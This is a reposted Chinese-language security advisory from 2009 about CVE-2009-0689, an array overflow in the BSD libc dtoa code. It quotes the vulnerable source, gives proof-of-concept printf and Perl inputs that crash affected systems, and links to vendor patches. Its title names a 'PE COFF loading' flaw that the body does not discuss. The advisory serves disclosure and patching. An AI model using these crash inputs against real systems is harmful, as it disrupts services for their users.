FreeBSD PE COFF加载本地拒绝服务漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-10-26
FreeBSD PE COFF加载本地拒绝服务漏洞 受影响系统:
FreeBSD FreeBSD 7.2
FreeBSD FreeBSD 6.4
NetBSD NetBSD 5.0
OpenBSD OpenBSD 4.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 35510
CVE(CAN) ID: CVE-2009-0689

OpenBSD、NetBSD、FreeBSD都是流行的BSD操作系统,是Unix的衍生系统。

OpenBSD、NetBSD、FreeBSD的dtoa实现中存在数组溢出漏洞。在src/lib/libc/gdtoa/gdtoaimp.h中:

- ---gdtoaimp.h---
...
#define Kmax 15
...
- ---gdtoaimp.h---

最大的Kmax长度为15,如果提供了更大的值(如17),程序就会溢出freelist数组,bss为0x1。

以NetBSD为例:

- ---gdtoaimp.h---
...
#define Kmax (sizeof(size_t) << 3)
...
- ---gdtoaimp.h---

程序在misc.c中崩溃:

- --- src/lib/libc/gdtoa/misc.c ---
if ( (rv = freelist[k]) !=0) {
freelist[k] = rv->next;
}
else {
x = 1 << k;
#ifdef Omit_Private_Memory
rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong));
#else
len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) - 1)
/sizeof(double);
if ((double *)(pmem_next - private_mem + len) <= (double *)PRIVATE_mem)
{
rv = (Bigint*)(void *)pmem_next;
pmem_next += len;
}
else
rv = (Bigint*)MALLOC(len*sizeof(double));
#endif
if (rv == NULL)
return NULL;
rv->k = k;
rv->maxwds = x;
}
- --- src/lib/libc/gdtoa/misc.c ---

这里

rv->k = k;



freelist[k] = rv->next;

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
  
  链接:http://marc.info/?l=full-disclosure&m=124615137701550&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

printf %1.262159f 1.1
printf %11.2109999999f
printf %11.2009999999f
printf %11.2009999999f

#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;

建议:
--------------------------------------------------------------------------------
厂商补丁:

NetBSD
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c